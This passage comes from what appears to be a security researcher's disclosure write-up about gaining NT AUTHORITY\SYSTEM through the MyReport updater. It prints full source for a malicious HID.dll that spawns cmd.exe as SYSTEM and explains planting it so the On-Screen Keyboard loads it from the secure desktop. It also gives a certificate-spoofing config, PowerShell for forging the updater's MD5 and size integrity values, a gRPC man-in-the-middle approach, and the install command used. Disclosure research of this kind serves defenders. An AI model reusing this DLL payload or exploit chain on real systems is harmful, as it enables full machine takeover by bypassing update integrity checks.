&lt;span class="n"&gt;-a&lt;/span&gt;&lt;span class="p"&gt;----&lt;/span&gt;        &lt;span class="n"&gt;10&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;20&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;2025&lt;/span&gt;   &lt;span class="n"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;58&lt;/span&gt; &lt;span class="n"&gt;PM&lt;/span&gt;      &lt;span class="n"&gt;213429259&lt;/span&gt; &lt;span class="n"&gt;Server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AnyCPU&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt;
&lt;span class="n"&gt;-a&lt;/span&gt;&lt;span class="p"&gt;----&lt;/span&gt;        &lt;span class="n"&gt;10&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;20&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;2025&lt;/span&gt;   &lt;span class="n"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;59&lt;/span&gt; &lt;span class="n"&gt;PM&lt;/span&gt;      &lt;span class="n"&gt;213382345&lt;/span&gt; &lt;span class="n"&gt;Server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x86&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We modified &lt;code&gt;Administrator.6.0.0.AnyCPU.zip&lt;/code&gt; and added &lt;code&gt;HID.dll&lt;/code&gt; at the root of the archive.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/11-modified-module-archive.png"/&gt;&lt;br/&gt;
&lt;i&gt;The payload was added to the ZIP archive.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;When loaded, the DLL checks whether the current user is &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; by comparing its SID. If the check succeeds, it starts &lt;code&gt;cmd.exe&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Launches cmd.exe if loaded into a process running as SYSTEM.&lt;/span&gt;

&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;"pch.h"&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;memory&amp;gt;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;DoIt&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetCurrentProcessToken&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;infoSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;GetTokenInformation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TokenUser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;infoSize&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;auto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;make_unique&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;infoSize&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;GetTokenInformation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TokenUser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;infoSize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;infoSize&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_TOKEN_USER&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokenUser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_TOKEN_USER&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;IsWellKnownSid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokenUser&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WinLocalSystemSid&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;STARTUPINFO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;startupInfo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;startupInfo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;startupInfo&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PROCESS_INFORMATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;processInfo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;processInfo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;processInfo&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;wchar_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;commandLine&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"cmd.exe"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;CreateProcess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;commandLine&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;startupInfo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;processInfo&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;BOOL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;APIENTRY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DllMain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HMODULE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ul_reason_for_call&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="n"&gt;LPVOID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpReserved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ul_reason_for_call&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;DLL_PROCESS_ATTACH&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DoIt&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;DLL_THREAD_ATTACH&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;DLL_THREAD_DETACH&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;DLL_PROCESS_DETACH&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The goal was to write the DLL to:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;C:\Program Files\Common Files\microsoft shared\ink
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;osk.exe&lt;/code&gt;, the Windows On-Screen Keyboard, loads this DLL. The program is available from the secure desktop opened with &lt;code&gt;Ctrl+Alt+Delete&lt;/code&gt;. It is started by &lt;code&gt;WinLogon&lt;/code&gt; with &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; privileges.&lt;/p&gt;
&lt;p&gt;The reference server performs an integrity check using the MD5 digest and size of &lt;code&gt;Administrator.6.0.0.AnyCPU.zip&lt;/code&gt;. This information is then returned to the updater. The gRPC requests sent by the reference server to &lt;code&gt;updater.myreport.fr&lt;/code&gt; show how these values are retrieved.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/12-product-metadata-request.png"/&gt;&lt;br/&gt;
&lt;i&gt;Retrieving information for the integrity check.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;The decompiled code of &lt;code&gt;MyUpdaterService.RPC.Client.dll&lt;/code&gt; confirms that these checks are present.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/13-product-information-fields.png"/&gt;&lt;br/&gt;
&lt;i&gt;Fields in the ProductInformation class.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;Traffic to &lt;code&gt;updater.myreport.fr&lt;/code&gt; was intercepted on the reference server controlled by us. It was redirected to a &lt;a href="resources/2026-10-13_myreport-updater-grpc-to-system/tooling/grpc-mitm.go"&gt;tool created during the assessment&lt;/a&gt;. This tool returned the correct MD5 digest and size for the modified archives.&lt;/p&gt;
&lt;p&gt;The tool worked as a gRPC and TLS man-in-the-middle server. It forwarded requests to the vendor server and modified the responses. It ran on another server. The &lt;code&gt;/etc/hosts&lt;/code&gt; file on the reference server was changed so that &lt;code&gt;updater.myreport.fr&lt;/code&gt; resolved to the address of the gRPC tool.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/14-hosts-redirect.png"/&gt;&lt;br/&gt;
&lt;i&gt;Traffic for updater.myreport.fr was redirected to the gRPC tool.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;The updater could not connect to the gRPC tool with a self-signed certificate. It returned this error:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;The remote certificate is invalid according to the validation procedure:
RemoteCertificateNameMismatch, RemoteCertificateChainErrors
Source: System.Private.CoreLib
Exception type: System.Security.Authentication.AuthenticationException
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The error showed a problem with the domain names in the certificate. We reproduced the certificate information from &lt;code&gt;updater.myreport.fr&lt;/code&gt; and used it with the gRPC tool. A certificate can also be generated for Nginx with the following configuration:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;tee&lt;span class="w"&gt; &lt;/span&gt;/etc/nginx/certs/myreport.cnf&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/dev/null&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;lt;&amp;lt;'EOF'&lt;/span&gt;

&lt;span class="s"&gt;[ req ]&lt;/span&gt;
&lt;span class="s"&gt;default_bits       = 2048&lt;/span&gt;
&lt;span class="s"&gt;prompt             = no&lt;/span&gt;
&lt;span class="s"&gt;default_md         = sha256&lt;/span&gt;
&lt;span class="s"&gt;req_extensions     = req_ext&lt;/span&gt;
&lt;span class="s"&gt;distinguished_name = dn&lt;/span&gt;

&lt;span class="s"&gt;[ dn ]&lt;/span&gt;
&lt;span class="s"&gt;C = FR&lt;/span&gt;
&lt;span class="s"&gt;O = MyReport Local Proxy&lt;/span&gt;
&lt;span class="s"&gt;CN = *.myreport.fr&lt;/span&gt;

&lt;span class="s"&gt;[ req_ext ]&lt;/span&gt;
&lt;span class="s"&gt;subjectAltName = @alt_names&lt;/span&gt;

&lt;span class="s"&gt;[ alt_names ]&lt;/span&gt;
&lt;span class="s"&gt;DNS.1 = *.myreport.fr&lt;/span&gt;
&lt;span class="s"&gt;DNS.2 = myreport.fr&lt;/span&gt;

&lt;span class="s"&gt;[ v3_ca ]&lt;/span&gt;
&lt;span class="s"&gt;subjectKeyIdentifier = hash&lt;/span&gt;
&lt;span class="s"&gt;authorityKeyIdentifier = keyid:always,issuer&lt;/span&gt;
&lt;span class="s"&gt;basicConstraints = CA:TRUE&lt;/span&gt;
&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The updater expects the MD5 digest and file size in a specific format. The following PowerShell commands, also available in &lt;a href="resources/2026-10-13_myreport-updater-grpc-to-system/tooling/get_hash_and_size.ps1"&gt;get_hash_and_size.ps1&lt;/a&gt;, generate these values:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$f&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"C:\ProgramData\MyReport\Updater\Downloaded\Administrator.6.0.0.AnyCPU.zip"&lt;/span&gt;

&lt;span class="nb"&gt;Write-Host&lt;/span&gt; &lt;span class="s2"&gt;"### Hash ###"&lt;/span&gt;
&lt;span class="no"&gt;[Convert]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ToBase64String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;[byte[]]&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;-join&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nb"&gt;Get-FileHash&lt;/span&gt; &lt;span class="nv"&gt;$f&lt;/span&gt; &lt;span class="n"&gt;-Algorithm&lt;/span&gt; &lt;span class="n"&gt;MD5&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;Hash&lt;/span&gt; &lt;span class="n"&gt;-split&lt;/span&gt; &lt;span class="s1"&gt;'(..)'&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;Where-Object&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="k"&gt;ForEach&lt;/span&gt;&lt;span class="n"&gt;-Object&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="no"&gt;[char][Convert]&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ToByte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)})).&lt;/span&gt;&lt;span class="n"&gt;ToCharArray&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="nb"&gt;Write-Host&lt;/span&gt; &lt;span class="s2"&gt;"### Size ###"&lt;/span&gt;
&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="p"&gt;=(&lt;/span&gt;&lt;span class="nb"&gt;Get-Item&lt;/span&gt; &lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;-join&lt;/span&gt; &lt;span class="p"&gt;($(&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="n"&gt;-gt0x7F&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="no"&gt;[byte]&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="n"&gt;-band0x7F&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;-bor0x80&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="n"&gt;-shr7&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="no"&gt;[byte]&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="n"&gt;-band0x7F&lt;/span&gt;&lt;span class="p"&gt;))|%{&lt;/span&gt;&lt;span class="s1"&gt;'\x{0:x2}'&lt;/span&gt;&lt;span class="o"&gt;-f&lt;/span&gt;&lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The result for the modified archive was:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;### Hash ###
gIYMdbsrrZZx+ntRYhDu2g==

### Size ###
\x9e\xa3\x9b\x2b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After obtaining the integrity-check values, we started the module installation with this command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;UpdaterManager.exe add --installLocation "C:\Program Files\Common Files\microsoft shared\ink" --products Administrator --version 6.0.0 --serverPlatform x64 --NoInstallIIS --force
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The gRPC man-in-the-middle tool received the responses from &lt;code&gt;updater.myreport.fr&lt;/code&gt;. It replaced the MD5 digest and file size before returning the responses to the reference server.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/15-metadata-rewrite.png"/&gt;&lt;br/&gt;
&lt;i&gt;The responses from updater.myreport.fr were modified.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;At the end of the installation, the following file was present on the Citrix machine:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;C:\Program Files\Common Files\microsoft shared\ink\HID.dll
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We pressed &lt;code&gt;Ctrl+Alt+Delete&lt;/code&gt; to open the secure desktop. We then selected the On-Screen Keyboard from the options in the lower-right corner. The DLL was loaded and a command prompt opened with &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; privileges.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/16-system-shell.png"/&gt;&lt;br/&gt;
&lt;i&gt;Command prompt running as NT AUTHORITY\SYSTEM.&lt;/i&gt;
&lt;/p&gt;
&lt;h1 id="remote-code-execution"&gt;Remote code execution&lt;/h1&gt;
